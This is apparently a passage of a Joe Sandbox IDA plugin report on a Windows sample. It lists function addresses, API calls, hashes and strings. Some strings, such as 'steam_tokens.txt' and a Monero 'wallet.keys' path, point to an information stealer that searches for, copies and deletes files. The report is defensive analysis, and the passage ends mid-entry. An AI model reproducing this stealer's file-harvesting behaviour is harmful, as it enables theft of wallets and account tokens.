Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: ca47ad997d991ab7ab6f502aa8bb1ed80cfa5e5495548b1a15ce2d70e4232242
Instruction ID: cfbf136561e5572c1f557637898eb930dc8d337c4b30c9ab2443b64e88c61531
Opcode Fuzzy Hash: ca47ad997d991ab7ab6f502aa8bb1ed80cfa5e5495548b1a15ce2d70e4232242
Instruction Fuzzy Hash: 5872C176D11159EACB19FB90ED90EEE733DAF34210F50429AA55763058EF342B4ACF60

Function 01006D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64dca099bdb06260c22239f90a3aeeb1a5602fe07cd37446d42875f6efef6c52
Instruction ID: edc0b5364cacf3a4662ae1e574e5ca838b349ccbda3cb88104be5ece5f277d11
Opcode Fuzzy Hash: 64dca099bdb06260c22239f90a3aeeb1a5602fe07cd37446d42875f6efef6c52
Instruction Fuzzy Hash: AF6159B4D00219DFEB15DF98D984BEEB7B2BB04304F108199E54A67280D736AFA4CF91

Function 01015100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A820: lstrlen.KERNEL32(01004F05,?,?,01004F05,01020DDE), ref: 0101A82B
Part of subcall function 0101A820: lstrcpy.KERNEL32(01020DDE,00000000), ref: 0101A885

lstrlen.KERNEL32(00000000,00000000,01020ACA), ref: 0101512A

Strings

steam_tokens.txt, xrefs: 0101513F

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 27067ec0cc0af961e450ed963e987c40d2b9288b1910a6011c8844d11f1508ce
Instruction ID: 1cc3c4774af57c0bab1dbda774be382a0ddb0fbd686f50993bd5bbd749b80acf
Opcode Fuzzy Hash: 27067ec0cc0af961e450ed963e987c40d2b9288b1910a6011c8844d11f1508ce
Instruction Fuzzy Hash: 21F06D32A41109A6DB05F7B0EC559ED733CAB24210F804228E89367488EF38670AC7A1

Function 01017ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(01020E2C), ref: 01017F00
wsprintfA.USER32 ref: 01017F16

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: af1bdb278a2131ecae272df08406fcfcaf4b19a613fe7dcf12aae3ac3b62bc1d
Instruction ID: a271a63f3ee9e5a85d59b9fe62b26488791cfc5080283a6d3e8ff1dbf8c83de6
Opcode Fuzzy Hash: af1bdb278a2131ecae272df08406fcfcaf4b19a613fe7dcf12aae3ac3b62bc1d
Instruction Fuzzy Hash: 38F090B5A40618EBCB14CF85EC49FAAF7BCFB48A24F40066DF51693684D77969048BE0

Function 0100B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

lstrlen.KERNEL32(00000000), ref: 0100B9C2
lstrlen.KERNEL32(00000000), ref: 0100B9D6

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 14177ce71ce469993f2615a73be758884c58a75df13c54f94d42b60353d721a3
Instruction ID: 1afffc6d6a06384561af3bf02cca1fb486239e3356da264b18326a0ea7708659
Opcode Fuzzy Hash: 14177ce71ce469993f2615a73be758884c58a75df13c54f94d42b60353d721a3
Instruction Fuzzy Hash: AFE16F76A11059DBDF15FBA0DD90EEE7339BF24210F404169E58767098EF386B4ACBA0

Function 0100AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

lstrlen.KERNEL32(00000000), ref: 0100B16A
lstrlen.KERNEL32(00000000), ref: 0100B17E

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 28dadaae89ca7eb1a38846b125b81cbab02423c10210c4c164a7cc371dc1135f
Instruction ID: bdb011b77ec446ae1ee66d8393a1fc889ac8c35d4454f780bf6a10a92ef4a2d3
Opcode Fuzzy Hash: 28dadaae89ca7eb1a38846b125b81cbab02423c10210c4c164a7cc371dc1135f
Instruction Fuzzy Hash: 45918276A11149DBDF14FBA0DD94EEE7339BF24210F404169F587A7098EF386A49CBA0

Function 0100B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

lstrlen.KERNEL32(00000000), ref: 0100B42E
lstrlen.KERNEL32(00000000), ref: 0100B442

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 35239661fdc7cb4e9429dc80433231c8173e7f1dea87277d97667d759ec5a9ad
Instruction ID: ae09458c81912a425d925a3787a87958325f68441e59f04bd1169e88385e6215
Opcode Fuzzy Hash: 35239661fdc7cb4e9429dc80433231c8173e7f1dea87277d97667d759ec5a9ad
Instruction Fuzzy Hash: 84717276A11159DBDF15FBA0DD94DEE7339BF64210F404128F583A7098EF386A09CBA0

Function 01014BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 01018DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01018E0B

lstrcat.KERNEL32(?,00000000), ref: 01014BEA
lstrcat.KERNEL32(?,0186D948), ref: 01014C08

Part of subcall function 01014910: wsprintfA.USER32 ref: 0101492C
Part of subcall function 01014910: FindFirstFileA.KERNEL32(?,?), ref: 01014943

Part of subcall function 01014910: StrCmpCA.SHLWAPI(?,01020FDC), ref: 01014971
Part of subcall function 01014910: StrCmpCA.SHLWAPI(?,01020FE0), ref: 01014987
Part of subcall function 01014910: FindNextFileA.KERNEL32(000000FF,?), ref: 01014B7D
Part of subcall function 01014910: FindClose.KERNEL32(000000FF), ref: 01014B92

Part of subcall function 01014910: wsprintfA.USER32 ref: 010149B0
Part of subcall function 01014910: StrCmpCA.SHLWAPI(?,010208D2), ref: 010149C5
Part of subcall function 01014910: wsprintfA.USER32 ref: 010149E2
Part of subcall function 01014910: PathMatchSpecA.SHLWAPI(?,?), ref: 01014A1E
Part of subcall function 01014910: lstrcat.KERNEL32(?,0186E788), ref: 01014A4A
Part of subcall function 01014910: lstrcat.KERNEL32(?,01020FF8), ref: 01014A5C
Part of subcall function 01014910: lstrcat.KERNEL32(?,?), ref: 01014A70
Part of subcall function 01014910: lstrcat.KERNEL32(?,01020FFC), ref: 01014A82
Part of subcall function 01014910: lstrcat.KERNEL32(?,?), ref: 01014A96
Part of subcall function 01014910: CopyFileA.KERNEL32(?,?,00000001), ref: 01014AAC
Part of subcall function 01014910: DeleteFileA.KERNEL32(?), ref: 01014B31

Part of subcall function 01014910: wsprintfA.USER32 ref: 01014A07

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: e735bd9766b00fd30523474599e4eb9aceccdce0799cce213b2d77767e9079ba
Instruction ID: 59a06a254b72d24ea9cfe52a473d3ed6ca0c255c0559255d6fca4b002376b5fe
Opcode Fuzzy Hash: e735bd9766b00fd30523474599e4eb9aceccdce0799cce213b2d77767e9079ba
Instruction Fuzzy Hash: 1B41A7BBA40204ABD764F7A0FC45EEE333DA754700F40854CB5CA97189EE759B888B91

Function 01006660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 01006706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 01006753

Memory Dump Source

